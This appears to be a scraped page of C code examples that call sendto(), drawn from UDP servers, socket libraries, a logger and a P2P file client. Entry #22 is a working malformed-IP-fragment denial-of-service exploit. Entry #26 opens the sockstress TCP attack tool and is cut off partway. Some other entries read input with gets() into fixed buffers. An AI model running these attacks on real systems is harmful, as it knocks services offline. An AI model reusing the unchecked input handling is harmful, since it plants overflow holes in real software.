			if (recvfrom(sockfd, packet, sizeof(struct Packet), 0, (struct sockaddr *) &client, &client_len) == -1)	//Receive request
			{
				printf("Error receiving data.\n");
				continue;
			}
			else
			{
				deserialize(packet, r);	//Deserialize request
				printf("Received request from %s\n", inet_ntoa(client.sin_addr));
				printBytes(packet);
				printMessage(r);
				if (r->type != 0)	//Not request message; ignore
					continue;
				produceResponse(r, s);
				serialize(s, packet);	//Serialize response
				if (sendto(sockfd, packet, sizeof(struct Packet), 0, (struct sockaddr *) &client, client_len) == -1)	//Send response
				{
					printf("Error sending data.\n");
					continue;
				}
			}
		}
	}
	else	//Incorrect usage
	{
		printf("Usage: \"server < TCP | UDP > [ PORT ]\"\n\n");
		exit(1);
	}
}
コード例 #19
0
/*=========================================================================*/ 
int SLPNetworkSendMessage(int sockfd,
                          int socktype,
                          SLPBuffer buf,
                          struct sockaddr_in* peeraddr,
                          struct timeval* timeout)
/* Sends a message                                                         */
/*                                                                         */
/* Returns  -  zero on success non-zero on failure                         */
/*                                                                         */
/* errno         EPIPE error during write                                  */
/*               ETIME read timed out                                      */
/*=========================================================================*/ 
{
    fd_set      writefds;
    int         xferbytes;
    int         flags = 0;

#if defined(MSG_NOSIGNAL)
    flags = MSG_NOSIGNAL;
#endif

    buf->curpos = buf->start;

    while(buf->curpos < buf->end)
    {
        FD_ZERO(&writefds);
        FD_SET(sockfd, &writefds);

        xferbytes = select(sockfd + 1, 0, &writefds, 0, timeout);
        if(xferbytes > 0)
        {
            if(socktype == SOCK_DGRAM)
            {
                xferbytes = sendto(sockfd,
                                   buf->curpos, 
                                   buf->end - buf->curpos, 
                                   flags,
                                   (struct sockaddr *)peeraddr,
                                   sizeof(struct sockaddr_in));
            }
            else
            {
                xferbytes = send(sockfd,
                                 buf->curpos, 
                                 buf->end - buf->curpos, 
                                 flags);
            }

            if(xferbytes > 0)
            {
                buf->curpos = buf->curpos + xferbytes;
            }
            else
            {
                errno = EPIPE;
                return -1;
            }
        }
        else if(xferbytes == 0)
        {
            /* timed out */
            errno = ETIMEDOUT;
            return -1;
        }
        else
        {
            errno = EPIPE;
            return -1;
        }
    }

    return 0;
}
コード例 #20
0
ファイル: servidor.c プロジェクト: jlzem/fatec
main(int argc, char * argv[])
{

	int socket_servidor, socket_cliente, bytes_recebidos, bytes_enviados, flag = 0, i = 0;
	struct sockaddr_in servidor, cliente;
	struct utsname uts;
	time_t rawtime;
	struct tm * timeinfo;
	int tamanho_cliente = sizeof(cliente);
	int tamanho_servidor = sizeof(servidor);
	char buffer[MAX_SIZE_BUFFER], data[MAX_SIZE_BUFFER], hora[MAX_SIZE_BUFFER];

	system("clear");

	uname(&uts);
  
	socket_servidor = socket(AF_INET, SOCK_DGRAM, 0);
  
	bzero(&servidor, sizeof(servidor));
	servidor.sin_family      = AF_INET;
	servidor.sin_port        = htons(atoi(argv[1]));
	servidor.sin_addr.s_addr = htonl(INADDR_ANY);
  
	bind(socket_servidor,(struct sockaddr *)&servidor, tamanho_servidor); 
  
	printf("---------------------------------------------------------\n");
	printf("Servidor aguardando comandos pela porta %s\n", argv[1]);
	printf("---------------------------------------------------------\n\n");

	 while (1) {
  
		bytes_recebidos = recvfrom(socket_servidor, buffer, MAX_SIZE_BUFFER, 0,(struct sockaddr *)&cliente,&tamanho_cliente);

		printf("Comando a ser processado: %s.\n", buffer);

		if ( strcmp(buffer,"date") == 0 ) { 
			time(&rawtime); 
			timeinfo = localtime(&rawtime); 
			sprintf(buffer,"%.2d/%.2d/%d",timeinfo->tm_mday,timeinfo->tm_mon+1,timeinfo->tm_year+1900);
			flag = 1; 
		}

		if ( strcmp(buffer,"time") == 0 ) { 
			time(&rawtime); 
			timeinfo = localtime(&rawtime); 
			sprintf(buffer,"%.2d:%.2d:%.2d",timeinfo->tm_hour,timeinfo->tm_min,timeinfo->tm_sec); 
			flag = 1; 
		}

		if ( strcmp(buffer,"nodename") == 0 ) { 
			strcpy(buffer,uts.nodename); 
			flag = 1;    
		}

		if ( strcmp(buffer,"sysname") == 0 )  { 
			strcpy(buffer,uts.sysname); 
			flag = 1;     
		}

		if ( strcmp(buffer,"release") == 0 )  { 
			strcpy(buffer,uts.release); 
			flag = 1;     
		}

		if ( strcmp(buffer,"version") == 0 )  { 
			strcpy(buffer,uts.version); 
			flag = 1;
		}

		if ( strcmp(buffer,"machine") == 0 )  { 
			strcpy(buffer,uts.machine); 
			flag = 1;     
		}

		if ( strcmp(buffer,"shutdown") == 0 ) {
			printf("\nServidor está sendo desligado. Aguarde .... ");
			sleep(1);
			printf(" [OK]\n\n");
			exit(0); 
		}

		if ( strcmp(buffer,"credits") == 0 )  { 
			strcpy(buffer,"### Versao demonstrativa daquilo que se espera ser desenvolvido na tarefa solicitada ### \n### Copyright by Prof. Dr. Jose Luis Zem ###"); 
			flag = 1; 
		}

		if ( flag == 0 ) { 
			strcpy(buffer,"Comando Nao Encontrado ou Invalido."); 
		} else { 
			flag = 0; 
		}

		bytes_enviados = sendto(socket_servidor, buffer,MAX_SIZE_BUFFER, 0, (struct sockaddr *)&cliente, tamanho_cliente);

	}

	close(socket_servidor);  

	return 0;
} 
コード例 #21
0
ファイル: BerkeleyAPI.c プロジェクト: whiteway11890/PIC32_Dev
/*****************************************************************************
  Function:
	int send( SOCKET s, const char* buf, int len, int flags )
	
  Summary:
	The send function is used to send outgoing data on an already
	connected socket.

  Description:
	The send function is used to send outgoing data on an already
	connected socket. This function is used to send a reliable,
	ordered stream of data bytes on a socket of type SOCK_STREAM
	but can also be used to send datagrams on a socket of type SOCK_DGRAM.

  Precondition:
	connect function should be called for TCP and UDP sockets.
	Server side, accept function should be called.

  Parameters:
	s - Socket descriptor returned from a previous call to socket.
	buf - application data buffer containing data to transmit.
	len - length of data in bytes.
	flags - message flags. Currently this field is not supported.

  Returns:
	On success, send returns number of bytes sent. In case of
	error, returns SOCKET_ERROR. a zero indicates no data send.

  Remarks:
	None.
  ***************************************************************************/
int send( SOCKET s, const char* buf, int len, int flags )
{
	return sendto(s, buf, len, flags, NULL, 0);
}
コード例 #22
0
ファイル: 7219_0.c プロジェクト: B-Rich/osf_db
                    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt)
                    {
                    int i;
                    u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
                    u_char byte; /* a byte */
                    struct sockaddr_in sin; /* socket protocol structure */

                    sin.sin_family = AF_INET;
                    sin.sin_port = src_prt;
                    sin.sin_addr.s_addr = dst_ip;

                    packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
                    p_ptr = packet;
                    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

                    byte = 0x45; /* IP version and header length */
                    memcpy(p_ptr, &byte, sizeof(u_char));
                    p_ptr += 2; /* IP TOS (skipped) */
                    *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(242); /* IP id */
                    p_ptr += 2;
                    *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = 0x40; /* IP TTL */
                    byte = IPPROTO_UDP;
                    memcpy(p_ptr + 1, &byte, sizeof(u_char));
                    p_ptr += 4; /* IP checksum filled in by kernel */
                    *((u_long *)p_ptr) = src_ip; /* IP source address */
                    p_ptr += 4;
                    *((u_long *)p_ptr) = dst_ip; /* IP destination address */
                    p_ptr += 4;
                    *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */

                    if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
                    {
                    perror("\nsendto");
                    free(packet);
                    exit(1);
                    }

                    p_ptr = packet;
                    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

                    byte = 0x45; /* IP version and header length */
                    memcpy(p_ptr, &byte, sizeof(u_char));
                    p_ptr += 2; /* IP TOS (skipped) */
                    *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(242); /* IP id */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = 0x40; /* IP TTL */
                    byte = IPPROTO_UDP;
                    memcpy(p_ptr + 1, &byte, sizeof(u_char));
                    p_ptr += 4; /* IP checksum filled in by kernel */
                    *((u_long *)p_ptr) = src_ip; /* IP source address */
                    p_ptr += 4;
                    *((u_long *)p_ptr) = dst_ip; /* IP destination address */
                    p_ptr += 4;
                    *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */

                    if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
                    {
                    perror("\nsendto");
                    free(packet);
                    exit(1);
                    }

                    p_ptr = packet;
                    bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
                    byte = 0x4F; /* IP version and header length */
                    memcpy(p_ptr, &byte, sizeof(u_char));
                    p_ptr += 2; /* IP TOS (skipped) */
                    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(242); /* IP id */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = 0x40; /* IP TTL */
                    byte = IPPROTO_UDP;
                    memcpy(p_ptr + 1, &byte, sizeof(u_char));
                    p_ptr += 4; /* IP checksum filled in by kernel */
                    *((u_long *)p_ptr) = src_ip; /* IP source address */
                    p_ptr += 4;
                    *((u_long *)p_ptr) = dst_ip; /* IP destination address */
                    p_ptr += 44;
                    *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
                    p_ptr += 2;
                    *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

                    for(i=0;i<PADDING;i++)
                    {
                    p_ptr[i++]=random()%255;
                    } 

                    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
                    {
                    perror("\nsendto");
                    free(packet);
                    exit(1);
                    }
                    free(packet);
                    }
コード例 #23
0
int main(void)
{
	int sfd, n;
	char buf[1024];
	usr_t *p;
	socklen_t len;
	struct sockaddr_in cli_addr;

	get_usr_info("usr_info.txt");
	sfd = sock_init(8000, "127.0.0.1");

	while (1) {
		len = sizeof(struct sockaddr_in);
		n = recvfrom(sfd, buf, 1024, 0,
				(struct sockaddr *)&cli_addr, &len);
		buf[n] = '\0';

		if (strncmp(buf, "syn", 3) == 0) { /* login */
			char *name;

			name = strstr(buf, " ");		/* 客户端数据格式 "syn usr_name"*/
			name++;
			p = search_by_name(name);
			if (p == NULL)
				sendto(sfd, "fail", strlen("fail"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			else {
				p->is_online = 1;
				p->addr = cli_addr;
				sendto(sfd, "OK", strlen("OK"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			}
#ifdef DEBUG
			print();
#endif
		} else if (strncmp(buf, "fin", 3) == 0) {/* logout */
			char *name;

			name = strstr(buf, " ");
			name++;
			p = search_by_name(name);
			if (p == NULL)
				sendto(sfd, "fail", strlen("fail"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			else {
				p->is_online = 0;
				memset(&p->addr, 0, sizeof(p->addr));
				sendto(sfd, "OK", strlen("OK"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			}
#ifdef DEBUG
			print();
#endif
		} else {					   	/* somebody talk */
			char msg[32];

			p = search_by_addr(&cli_addr);
			if (p == NULL)
				continue;

			sprintf(msg, "%s say: ", p->usr_name);
			for (p = head; p != NULL; p = p->next) {		/* 广播 */
				if (p->is_online) {						
					n = sendto(sfd, msg, strlen(msg), 0,
							(struct sockaddr *)&p->addr, 
							sizeof(p->addr));
					n = sendto(sfd, buf, strlen(buf), 0,
							(struct sockaddr *)&p->addr,
							sizeof(p->addr));
				}
			}
		}
		printf("one data over...\n");
	}

	destroy();

	return 0;
}
コード例 #24
0
ファイル: vos_log.c プロジェクト: KHATEEBNSIT/AP
GOS_ERROR_CODE vos_taskLogWrite(LOG_PRINT_MSG_T* pMsg)
{
    LOG_ID loggerId;

    LOG_ENTRY_HEADER_T tempEntry;
    UINT32 msgSize, entrySize;
    LOG_ENTRY_HEADER_T* pNextEntry;
    UINT32 preEntrySize, paddedSize;

    VOS_ASSERT(NULL != pMsg);

    loggerId = vos_taskLogGetId(pMsg->loggerId);
    if (0 > (loggerId))
    {
        return GOS_ERR_NOT_FOUND;
    }
    
    tempEntry.ulTime = pMsg->tick;
    tempEntry.level = pMsg->ubLogLevel;
    tempEntry.line = pMsg->lineNum;
    memcpy(tempEntry.fileName, pMsg->fileName, LOG_FILE_NAME_MAX_LEN);
    tempEntry.pNext = (UINT32)NULL;
    tempEntry.pPrev = (UINT32)NULL;

    if (gTaskLogs[loggerId].enableUdp)
    {
        CHAR buf[LOG_ENTRY_MAX_SIZE * 5];
        INT32 fd;
        struct sockaddr_in to;
        UINT32 toLen = sizeof(to);

        sprintf(buf, "%s:0x%x:%s:%d:%s", gTaskLogs[loggerId].logName, 
                tempEntry.ulTime, tempEntry.fileName, tempEntry.line, pMsg->content);
                
        fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (ERROR != fd)
        {
            BOOL on;
            
            memset(&to, 0, toLen);

            to.sin_family = AF_INET;
            to.sin_port = VOS_Htons((UINT16)gTaskLogs[loggerId].hostPort);
            to.sin_addr.s_addr = inet_addr(gTaskLogs[loggerId].hostIp);

            // non-blocking IO
            on = TRUE;
            ioctl (fd, FIONBIO, (INT32)&on);
            sendto(fd, buf, strlen(buf), 0, (struct sockaddr*)&to, toLen);

            close(fd);
        }
    }

    if (!gTaskLogs[loggerId].enableMem)
    {
        return GOS_OK;
    }

    // Get message size
    msgSize = ((strlen(pMsg->content)+1) > LOG_ENTRY_MAX_SIZE) ? LOG_ENTRY_MAX_SIZE : (strlen(pMsg->content)+1);
    // Terminate the string
    pMsg->content[msgSize - 1] = 0;

    
    // Get entry size (message size + head size)
    entrySize = msgSize + sizeof(LOG_ENTRY_HEADER_T);
    // Align with 4 bytes
    entrySize = (entrySize + 3) & 0xFFFFFFFC;
    VOS_Lock(gTaskLogs[loggerId].lockId, 0);

    // If the log is empty
    if ((NULL == gTaskLogs[loggerId].pPrevEntry) || (NULL == gTaskLogs[loggerId].pFirstEntry))
    {
        tempEntry.pPrev = (UINT32)NULL;
        tempEntry.pNext = (UINT32)(gTaskLogs[loggerId].pBuff + entrySize);
        memcpy(gTaskLogs[loggerId].pBuff, &tempEntry, sizeof(LOG_ENTRY_HEADER_T));
        memcpy(gTaskLogs[loggerId].pBuff + sizeof(LOG_ENTRY_HEADER_T), pMsg->content, msgSize);
        gTaskLogs[loggerId].pFirstEntry = (LOG_ENTRY_HEADER_T*)gTaskLogs[loggerId].pBuff;
        gTaskLogs[loggerId].pPrevEntry = (LOG_ENTRY_HEADER_T*)gTaskLogs[loggerId].pBuff;

        // Initialize the next header
        pNextEntry = (LOG_ENTRY_HEADER_T*)tempEntry.pNext;
        pNextEntry->pNext = (UINT32)NULL;
        pNextEntry->pPrev = (UINT32)gTaskLogs[loggerId].pPrevEntry;

        *(UINT32*)(gTaskLogs[loggerId].pBuff + gTaskLogs[loggerId].bufSize + 8 ) = (UINT32)gTaskLogs[loggerId].pFirstEntry;
        *(UINT32*)(gTaskLogs[loggerId].pBuff + gTaskLogs[loggerId].bufSize + 12) = (UINT32)gTaskLogs[loggerId].pPrevEntry;

        VOS_Unlock(gTaskLogs[loggerId].lockId);
        return GOS_OK;
    }

    // Get previous entity size
    if ((UINT32)gTaskLogs[loggerId].pPrevEntry->pNext > (UINT32)gTaskLogs[loggerId].pPrevEntry)
    {
        preEntrySize = (UINT32)gTaskLogs[loggerId].pPrevEntry->pNext - (UINT32)gTaskLogs[loggerId].pPrevEntry;
    }
    else
    {
        preEntrySize = (UINT32)gTaskLogs[loggerId].pPrevEntry->pNext + gTaskLogs[loggerId].bufSize - (UINT32)gTaskLogs[loggerId].pPrevEntry;
    }

    // Get padded size
    paddedSize = 0;
    // if the available space is not enough, then leave it, go to the head
    if ((gTaskLogs[loggerId].pPrevEntry->pNext + entrySize + sizeof(LOG_ENTRY_HEADER_T)) > (UINT32)(gTaskLogs[loggerId].pBuff + gTaskLogs[loggerId].bufSize))
    {
        paddedSize = (UINT32)(gTaskLogs[loggerId].pBuff + gTaskLogs[loggerId].bufSize - gTaskLogs[loggerId].pPrevEntry->pNext);
        gTaskLogs[loggerId].pPrevEntry->pNext = (UINT32)gTaskLogs[loggerId].pBuff;
    }

    // log_GetFreeSpaceSize returns the space between m_pPrevEntry and m_pFirstEntry
    // including m_pPrevEntry self
    while (vos_taskLogGetFreeSize(loggerId) < preEntrySize + paddedSize + entrySize + sizeof(LOG_ENTRY_HEADER_T))
    {
        if (gTaskLogs[loggerId].pFirstEntry)
        {
            gTaskLogs[loggerId].pFirstEntry = (LOG_ENTRY_HEADER_T*)gTaskLogs[loggerId].pFirstEntry->pNext;
        }
        else
        {
            VOS_Unlock(gTaskLogs[loggerId].lockId);
            return GOS_ERR_OVERFLOW;
        }
    }
    gTaskLogs[loggerId].pFirstEntry->pPrev = (UINT32)NULL;

    // Find the right place
    tempEntry.pPrev = (UINT32)gTaskLogs[loggerId].pPrevEntry;
    tempEntry.pNext = gTaskLogs[loggerId].pPrevEntry->pNext + entrySize;
    
    memcpy((CHAR*)gTaskLogs[loggerId].pPrevEntry->pNext, &tempEntry, sizeof(LOG_ENTRY_HEADER_T));
    memcpy((CHAR*)gTaskLogs[loggerId].pPrevEntry->pNext + sizeof(LOG_ENTRY_HEADER_T), pMsg->content, msgSize);

    gTaskLogs[loggerId].pPrevEntry = (LOG_ENTRY_HEADER_T*)gTaskLogs[loggerId].pPrevEntry->pNext;

    // Initialize the next header
    pNextEntry = (LOG_ENTRY_HEADER_T*)tempEntry.pNext;
    pNextEntry->pNext = (UINT32)NULL;
    pNextEntry->pPrev = (UINT32)gTaskLogs[loggerId].pPrevEntry;

    *(UINT32*)(gTaskLogs[loggerId].pBuff + gTaskLogs[loggerId].bufSize + 8 ) = (UINT32)gTaskLogs[loggerId].pFirstEntry;
    *(UINT32*)(gTaskLogs[loggerId].pBuff + gTaskLogs[loggerId].bufSize + 12) = (UINT32)gTaskLogs[loggerId].pPrevEntry;

    VOS_Unlock(gTaskLogs[loggerId].lockId);

    return GOS_OK;
}
コード例 #25
0
ファイル: client.c プロジェクト: jp111/P2P-FTP
int client(int port )
{
  int connected, bytes_recieved,addr_len;  
  char udpsend [20000],tcpsend[20000],udpreceive[20000],tcpreceive[20000];
  char regex[20000];
  char fileName[20000];
  struct hostent *h;
  struct sockaddr_in server_addr;  
  h= (struct hostent *) gethostbyname((char *)"127.0.0.1");
  if(flag==0)
    connected = socket(AF_INET, SOCK_STREAM, 0);
  else
    connected = socket(AF_INET, SOCK_DGRAM, 0);

  if (connected  == -1) {
    perror("Socket");
    exit(1);
  }


  server_addr.sin_family = AF_INET;     
  server_addr.sin_port = htons(port);   
  server_addr.sin_addr = *((struct in_addr *)h->h_addr);

  if(flag == 0)	
    bzero(&(server_addr.sin_zero), 8); 

  addr_len = sizeof(struct sockaddr);

  if(flag == 0)
  {
    while (connect(connected, (struct sockaddr *)&server_addr,sizeof(struct sockaddr)) == -1) ;

  }
  /*	Connection established between client and server
  */
  printf("Usage: \n1. Download <filename>\n2. Upload <filename>\n3. IndexGet LongList \n4. IndexGet ShortList <start-timestamp> <end-timestamp>\n5. IndexGet RegEx\n6. FileHash Verify <filename>7. FileHash CheckAll\nEnter your command here:\n");

  char *str;
  char copy[20000];
  while(1)
  {
    if(flag == 1)
      gets(udpsend); // DATA which is got in the input buffer
    else
      gets(tcpsend); // DATA which is got in the input buffer



    if(flag == 1)
      scpy(copy,udpsend);
    else
      scpy(copy,tcpsend);
    str = strtok (copy," ");

    /*
       IndexGet 
       */
    if(str!=NULL)
    {
      if(!strcmp(str,"FileHash"))
      {
        str = strtok (NULL, " ");
        if(str !=NULL)
        {
          if(strcmp(str,"Verify")==0)
          {
            str = strtok (NULL, " ");
            if(str!=NULL)
            {
              if(flag == 1)
              {
                printf("udpsend : %s\n",udpsend);
                scpy(udpsend,"FV");
                scat(udpsend,str);
                sendto(connected, udpsend, strlen(udpsend), 0,
                    (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
              }
              else
              {
                scpy(tcpsend,"FV");
                scat(tcpsend,str);
                send(connected, tcpsend,strlen(tcpsend), 0);
              }



              while(1)
              {
                if(flag == 1)
                {
                  bytes_recieved=recvfrom(connected,udpreceive,20000,0,
                      (struct sockaddr *)&server_addr, &addr_len);
                  udpreceive[bytes_recieved] = '\0';
                  if(strcmp(udpreceive,"End Of File") == 0)break;
                  fwrite(udpreceive,1,bytes_recieved,stdout);
                }
                else
                {
                  bytes_recieved=recv(connected,tcpreceive,20000,0);
                  tcpreceive[bytes_recieved] = '\0';
                  if(strcmp(tcpreceive,"End Of File") == 0)break;
                  fwrite(tcpreceive,1,bytes_recieved,stdout);

                }									

              }
              if(flag == 1)
                printf("\ndone\n");
              continue;
            }

          }
          else if(strcmp(str,"CheckAll")==0)
          {
            if(flag == 1)
            {
              scpy(udpsend,"FC");
              sendto(connected, udpsend, strlen(udpsend), 0,
                  (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
            }
            else
            {
              scpy(tcpsend,"FC");
              send(connected, tcpsend,strlen(tcpsend), 0);
            }

            while(1)
            {
              if(flag == 1)
              {
                bytes_recieved=recvfrom(connected,udpreceive,20000,0,
                    (struct sockaddr *)&server_addr, &addr_len);
                udpreceive[bytes_recieved] = '\0';
                if(strcmp(udpreceive,"End Of File") == 0)break;
                fwrite(udpreceive,1,bytes_recieved,stdout);
              }
              else
              {
                bytes_recieved=recv(connected,tcpreceive,20000,0);
                tcpreceive[bytes_recieved] = '\0';
                if(strcmp(tcpreceive,"End Of File") == 0)break;
                fwrite(tcpreceive,1,bytes_recieved,stdout);
              }	
            
            }
            printf("\ndone\n");
            continue;
          }
        }
        else printf("Please enter correct command\n");
      }
      else if(strcmp(str,"IndexGet")==0)	
      {
        
        str = strtok (NULL, " ");
        if(str!=NULL)
        {
         
          if(strcmp(str,"ShortList")==0)
          {
            printf("InShortlist\n");
            str = strtok (NULL, " ");
            if(str!=NULL)
            {
              if(flag == 1)
              {
                scpy(udpsend,"IS");
                scat(udpsend,str);
              }
              else
              {
                scpy(tcpsend,"IS");
                scat(tcpsend,str);
              }
              str = strtok (NULL, " ");
              printf("Enter Danger %s\n",str);
              if(str!=NULL)
              {
                if(flag == 1)
                {
                  scat(udpsend," ");
                  scat(udpsend,str);
                  printf("udpsend : %s\n",udpsend);
                  sendto(connected, udpsend, strlen(udpsend), 0,
                      (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
                }
                else
                {
                  scat(tcpsend," ");
                  scat(tcpsend,str);
                  printf("tcpsend : %s\n",tcpsend);
                  send(connected, tcpsend,strlen(tcpsend), 0);
                }
                printf("In Loop\n");
                //replace this with fiel catcher 
                while(1)
                {
                  if(flag == 1)
                  {
                    bytes_recieved=recvfrom(connected,udpreceive,20000,0,
                        (struct sockaddr *)&server_addr, &addr_len);
                    udpreceive[bytes_recieved] = '\0';
                    if(strcmp(udpreceive,"End Of File") == 0)break;
                    fwrite(udpreceive,1,bytes_recieved,stdout);
                  }
                  else
                  {
                    bytes_recieved=recv(connected,tcpreceive,20000,0);
                    tcpreceive[bytes_recieved] = '\0';
                    if(strcmp(tcpreceive,"End Of File") == 0)break;
                    fwrite(tcpreceive,1,bytes_recieved,stdout);
                  }
                }
                printf("\ndone\n");
                continue;
              }
            }		
          }

          if(strcmp(str,"ReGex")==0)
          {
            str = strtok (NULL, " ");
            if(str!=NULL)
            {
              if(flag == 1)
              {
                scpy(udpsend,"IR");
                scat(udpsend,str);
                printf("udpsend : %s\n",udpsend);
                sendto(connected, udpsend, strlen(udpsend), 0,
                    (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
              }
              else
              {
                scpy(tcpsend,"IR");
                scat(tcpsend,str);
                printf("tcpsend : %s\n",tcpsend);
                send(connected, tcpsend,strlen(tcpsend), 0);
              }				


              // implement regex
              while(1)
              {
                if(flag == 1)
                {
                  bytes_recieved=recvfrom(connected,udpreceive,20000,0,
                      (struct sockaddr *)&server_addr, &addr_len);
                  udpreceive[bytes_recieved] = '\0';
                  if(strcmp(udpreceive,"End Of File") == 0)break;
                  fwrite(udpreceive,1,bytes_recieved,stdout);
                }
                else
                {
                  bytes_recieved=recv(connected,tcpreceive,20000,0);
                  tcpreceive[bytes_recieved] = '\0';
                  if(strcmp(tcpreceive,"End Of File") == 0)break;
                  fwrite(tcpreceive,1,bytes_recieved,stdout);	
                }						
              }
              printf("\ndone\n");
              continue;
            }
            else
            {
              printf("no filename given\n");
            }
          }


          else if(strcmp(str,"LongList")==0)
          {
            if(flag == 1)
            {
              scpy(udpsend,"IL");
              printf("------SENDING IL\n");
              sendto(connected, udpsend, strlen(udpsend), 0,
                  (struct sockaddr *)&server_addr, sizeof(server_addr)); 
              printf("------ready to receive file\n");
            }
            else
            {
              scpy(tcpsend,"IL");
              send(connected, tcpsend,strlen(tcpsend), 0); 
            }

            while(1)
            {

              if(flag == 1)
              {
                int temp = sizeof(struct sockaddr);
                bytes_recieved=recvfrom(connected,udpreceive,20000,0,
                    (struct sockaddr *)&server_addr, &temp);
                udpreceive[bytes_recieved] = '\0';


                if(strcmp(udpreceive,"End Of File") == 0)break;
                fwrite(udpreceive,1,bytes_recieved,stdout);
              }
              else
              {
                bytes_recieved=recv(connected,tcpreceive,20000,0);
                tcpreceive[bytes_recieved] = '\0';
                if(strcmp(tcpreceive,"End Of File") == 0)break;
                fwrite(tcpreceive,1,bytes_recieved,stdout);
              }						


            }
            printf("\ndone\n");
            continue;
          }
        }
      }


      else if(strcmp(str,"Download") == 0)
      {
        str = strtok (NULL, " ");
        if(str!=NULL)
        {
resend:
          if(flag == 1)
          {
            scpy(udpsend,"D ");
            scat(udpsend,str);
            sendto(connected, udpsend, 20000, 0,
                (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
          }
          else
          {
            scpy(tcpsend,"D ");
            scat(tcpsend,str);
            write(connected,tcpsend,20000);
          }

          printf("printing %s\n",str);


          FILE *fp1 = fopen(str,"wb");

          memset(udpreceive,0,20000);
          while(1)
          {
            if(flag == 1)
            {

              bytes_recieved=recvfrom(connected,udpreceive,20000,0,
                  (struct sockaddr *)&server_addr, &addr_len);
              udpreceive[bytes_recieved] = '\0';
              printf("got %s number %d-----\n",udpreceive,bytes_recieved);

              if(strcmp(udpreceive,"End Of File")==0)
              {
                break;
              }	

              fwrite(udpreceive, 1,bytes_recieved, fp1);


            }
            else
            {
              bytes_recieved=read(connected,tcpreceive,20000);

              if(strcmp(tcpreceive,"End Of File")==0)
              {
                break;
              }	
              fwrite(tcpreceive, 1,bytes_recieved, fp1);
            }
          }
          printf("File closed\n");
          fclose(fp1);
        }

        else printf("Please provide correct command");

      }

      else if(strcmp(str,"Upload") == 0)
      {
        str = strtok (NULL, " ");

        char arr[100];
        scpy(arr,str);

        printf("opening %s\n",arr);

        if(flag == 1)
        {
          scpy(udpsend,"U ");
          scat(udpsend,str);
          sendto(connected, udpsend, 20000, 0,
              (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
        }
        else
        {
          scpy(tcpsend,"U ");
          scat(tcpsend,str);
          write(connected,tcpsend,20000);
        }
      }
      else{

        if ((strcmp(udpsend , "q") == 0 || strcmp(udpsend , "Q") == 0) || timeToclose ==1)
        {
          if(timeToclose)
            printf("quitting\n");
          if(flag == 1)					
            sendto(connected, udpsend, strlen(udpsend), 0,
                (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) ;
          else
            send(connected, tcpsend,strlen(tcpsend), 0);
          fflush(stdout);
          close(connected);
          exit(0);
          break;
        }

        else
        {
          if(flag == 1)
            sendto(connected, udpsend, strlen(udpsend), 0,
                (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
          else
            send(connected, tcpsend,strlen(tcpsend), 0);  
        }
      }

    }


  }
  return 0;
}
コード例 #26
0
ファイル: sockstress.c プロジェクト: KiteGh0st/opparis
void send_ack(unsigned char *packet)
{
    if(DEBUG_MODE)
        printf("[d] ---SENDING ACK...\n");
    static int s_out = -1;

    if(s_out == -1)
    {
        if(DEBUG_MODE)
            printf("[d] Initializing ACK socket...\n");
        s_out = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if(s_out < 0)
        {
            perror("[!] Error creating socket to send ACK/SYNACK");
            exit(-1);
        }
        if(bind(s_out, (struct sockaddr*)&globalArgs.iface_addr, sizeof(struct sockaddr_in)) == -1)
        {
            perror("[!] Error binding socket to send ACK/SYNACK");
            exit(-1);
        }
    }

    struct sockaddr_in attack_addr;
    attack_addr.sin_family = AF_INET;
    attack_addr.sin_addr = globalArgs.attack_ip;

    struct ip_header *ip = (struct ip_header*)packet;
